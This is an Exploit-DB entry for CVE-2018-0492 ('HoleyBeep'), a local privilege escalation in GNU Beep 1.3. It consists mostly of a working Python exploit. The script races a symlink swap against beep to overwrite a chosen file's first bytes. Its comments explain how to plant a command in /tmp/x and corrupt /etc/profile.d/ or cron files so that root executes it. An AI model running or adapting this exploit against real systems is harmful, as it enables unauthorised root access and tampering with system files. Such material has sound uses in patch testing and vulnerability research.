GNU Beep 1.3 - 'HoleyBeep' Local Privilege Escalation

EDB-ID: 44452
Author: Pirhack
Published: 2018-04-06
CVE: CVE-2018-0492
Type: Local
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 # 
# E-DB Note ~ https://gist.github.com/Arignir/0b9d45c56551af39969368396e27abe8/ec853f14afd6e86fb3f2efce2086e28f33039ddc
# E-DB Note ~ https://sigint.sh/#/holeybeep
#
# This is an exploit for HoleyBeep.
#
# To use it, place any command you want root to execute in `/tmp/x`.
# ```
# $ cat /tmp/x
# echo PWNED $(whoami)
# ```
# The exploit takes a path to write to (the file must already exist) and rewrites its first bytes to /*/x. This means that if it's a shell script, it will execute /tmp/x as its first and only command.
#
# To gain root access, the idea is to use the exploit to overwrite any file in /etc/profile.d/ so it will execute /*/x on the next login, possibly as the root user.
#
# Variants are possible using cron instead of the shell, so you don't have to wait until root logs in.
#

import argparse
import shutil
import os
import subprocess
import time
import signal
import ntpath

TMP_PATH="beep_exploit"

def backup_output(path):
backup_path = ntpath.basename(path + ".bak")
if os.path.isfile(path):
shutil.copy(path, backup_path)
print('Backup made at \'{}\''.format(backup_path))

def main():
parser = argparse.ArgumentParser(description='Holey beep exploit script.')
parser.add_argument('output', metavar='OUTPUT', help='the output file to corrupt')
parser.add_argument('--path', default="/usr/bin/beep", help='path to beep')
parser.add_argument('--time-low', default=6000, type=int, help='time to wait (micro-seconds), lower bound')
parser.add_argument('--time-high', default=6900, type=int, help='time to wait (micro-seconds), higher bound')
parser.add_argument('--no-backup', action='store_true', help='doesn\'t backup the output file')
args = parser.parse_args()

if not args.no_backup:
backup_output(args.output)

devnull = open("/dev/null")

timer = args.time_low
while True:
# Create original symlink
try:
os.remove(TMP_PATH)
except OSError:
pass
os.symlink("/dev/input/event0", TMP_PATH)

# Open subprocess
p = subprocess.Popen([args.path, "--device", TMP_PATH, "-l", "1", "-n", "-l", "2016356911"], stderr=devnull)
time.sleep(timer/2 / 1000000.0)

# Replace symlink
try:
os.remove(TMP_PATH)
except OSError:
pass
os.symlink(args.output, TMP_PATH)
time.sleep(timer/2 / 1000000.0)

# Trigger SIGINT
os.kill(p.pid, signal.SIGINT)

# Kill process if it's sill alive
time.sleep(200.0 / 1000000.0)
os.kill(p.pid, signal.SIGKILL)

# Verify result
with open(args.output, 'rb') as f:
data = f.read(4)
if data == b'/*/x':
print("Done!")
break

timer += 1
if timer > args.time_high:
timer = args.time_low

if __name__ == '__main__':
main()

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